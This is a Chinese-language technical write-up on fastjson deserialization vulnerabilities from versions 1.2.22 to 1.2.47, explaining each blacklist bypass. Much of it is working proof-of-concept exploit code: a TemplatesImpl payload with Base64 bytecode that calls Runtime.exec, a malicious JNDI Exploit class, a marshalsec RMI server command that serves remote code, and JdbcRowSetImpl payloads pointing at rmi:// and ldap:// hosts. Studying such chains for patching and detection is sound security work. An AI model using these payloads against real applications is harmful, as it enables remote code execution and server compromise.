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[1、 fastjson 1.2.22-1.2.24 版本](#1、 fastjson 1.2.22-1.2.24 版本)
[1.1 TemplatesImpl (Feature.SupportNonPublicField)](#1.1 TemplatesImpl (Feature.SupportNonPublicField))
[1.2 JNDI && JdbcRowSetImpl 利⽤链](#1.2 JNDI && JdbcRowSetImpl 利⽤链)
[2、fastjson 1.2.41](#2、fastjson 1.2.41)
[3、fastjson 1.2.42/1.2.43](#3、fastjson 1.2.42/1.2.43)
[4、fastjson 1.2.44-1.2.45](#4、fastjson 1.2.44-1.2.45)
[5、fastjson 1.2.46-1.2.47版本反序列化漏洞](#5、fastjson 1.2.46-1.2.47版本反序列化漏洞)
jackson 和 fastjson 在序列化的时候,先利用反射找到对象类的所有 getter 方法,接下来去 get,然后小写化,作为 json 的每个 key 值,而 getter 方法的返回值作为 value。接下来再反射 field,添加到 json 中。
1、 fastjson 1.2.22-1.2.24 版本
产生漏洞的主要原因为FastJson⽀持的两个特性:
-
fastjson反序列化时,JSON 字符串中的 @type 字段,⽤来表明指定反序列化的⽬标对象类。
-
fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法、setter ⽅法、 getter ⽅法,若这类⽅法中存在利⽤点,即可完成漏洞利⽤。
主要存在两种利⽤⽅式:
-
TemplatesImpl (Feature.SupportNonPublicField)
-
JdbcRowSetImpl (JNDI)
1.1 TemplatesImpl (Feature.SupportNonPublicField)
TemplatesImpl 类中影响漏洞的主要是 _bytecodes 和_outputProperties 两个 private 成员变量。在使⽤ JSON parseObject 时需要传⼊Feature.SupportNonPublicField。TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,具有较⼤的限制。
poc:
java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class java1_2_25 {
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_b
ytecodes\":
[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQA
EQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvb
S9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWN
oZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htb
C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29
yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htb
C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFih
bTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhD
AAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5
hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y
29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA
TamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpT
GphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmc
vUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAA
AABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAA
BAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEA
AEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAA
ABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":
{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
-
@type :反序列化的恶意⽬标类型 TemplatesImpl ,FastJson最终会按照这个类反序列化得到实例
-
_bytecodes :继承 AbstractTranslet 类,值为恶意类字节码,使⽤ Base64 编码。
-
_outputProperties : TemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法,导致 bytecodes 恶意字节码成功实例化为代码执行类,造成命令执⾏。
-
_name :调⽤ getTransletInstance 时会判断其是否为 null ,为 null 直接 return ,不会进⼊到恶意类的实例化过程;
-
_tfactory:defineTransletClasses 中会调⽤其 getExternalExtensionsMap ⽅法,为 null 会出现异常;
javac 编译成字节码,对字节码继续 base64 编码填充 POC 的 _bytecodes 字段:
java
import java.io.IOException;
public class poc_1 extends AbstractTranslet {
public poc_1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws Exception {
poc_1 t = new poc_1();
}
}
1.2 JNDI && JdbcRowSetImpl 利⽤链
JdbcRowSetImpl 利⽤链配合 JDNI 比较容易利用。
如下恶意类,通过 javac 编译得到 Exploit.class ⽂件,并将字节码⽂件让放 Web ⽬录下:
java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
public class Exploit implements ObjectFactory, Serializable {
public Exploit() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit exploit = new Exploit();
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
return null;
}
}
开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤:
bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://website:8000/#Exploit
poc:
java
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class FastjsonTest {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"rmi://website:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
2、fastjson 1.2.41
官⽅在1.2.25版本更新中,新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。
漏洞成因:
此漏洞为1.2.24版本漏洞的安全补丁的绕过。Fastjson 从1.2.25开始引入了 checkAutotype 安全机制,默认情况下,autoTypeSupport 为 false ,同时不⽀持指定类的反序列化,通过使⽤⿊名单+⽩名单验证。
checkAutotype 机制的作用过程:
- checkAutotype 安全机制中 @type 字段值首先会经过黑白名单的校验
- 在成功通过校验之后,程序接下来会通过 TypeUtils.loadClass 方法对类进行加载:
- 匹配以 [ 开头的字符串,
- 匹配以L 开头,以 ; 结尾的函数返回值和参数的编码字符串。
其中首个字符 [ 用以表示数组的层数,第二个字符则代表数组的类型,L 与 ; 之间的字符串表示着该类对象的所属类。当传入的类名以L 开头,以 ; 结尾时,程序将去除首尾后返回,因此能够绕过⿊名单的验证。
poc:
java
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
3、fastjson 1.2.42/1.2.43
漏洞成因:
1.2.42版本对1.2.25~1.2.41的漏洞进行了修复,然而修复方式是通过判断类名前后是否为 L 和 ; ,如果是,就截取第二个字符和到倒数第二个字符。此种修复方式通过双写 LL 和 **;;**即可绕过。
1.2.43版本是对1.2.42版本漏洞修复,直接了对类名是否以LL开头的条件判断,若第一个条件满足并且以 LL 开头,直接抛异常,至此这种修复方式没法在绕过了。
但 loadclass 时除了 L 和 ; 做了特殊处理外,[ 也被特殊处理了,通过在类名前添加 [ ,使用 **[{}]**包裹数据即可绕过检测。
java
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
4、fastjson 1.2.44-1.2.45
漏洞成因:
-
此版本漏洞通过 Mybatis 利⽤链,可以直接绕过⿊名单。 JndiDataSourceFactory 不在黑名单上,可以通过黑名单校验
-
JSON字符串中的 @type 字段可以指定 JndiDataSourceFactory 类,而在类的 properties 属性中的 data_source 变量中可以指定恶意数据源,通过 properties.getProperty 获取该地址,并传⼊ initCtx.lookup ,形成JNDI注⼊执⾏命令。
5、fastjson 1.2.46-1.2.47版本反序列化漏洞
漏洞成因:
-
java.lang.class 不在类的黑名单中,可以通过 checkAutotype 的检测。
-
同时 java.lang.class 类对应的 deserializer 为 MiscCodec,deserialize 时会取 json 串中的 val 值,并 load 这个 val 对应的 class,当 fastjson cache 为 true,就会缓存这个 val 对应的 class 到全局 map 中。
-
如果再次加载 val 名称的 class,并且 autotype 没开启,就会尝试从全局 map 中获取这个class,如果获取到了,直接返回。当这里的 class 为恶意类,就会造成命令执行。
poc:
java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
public class POC {
public static void main(String[] args) {
String payload = "{\n" +
" \"name\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"x\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
System.out.println(payload);
JSON.parse(payload);
}
}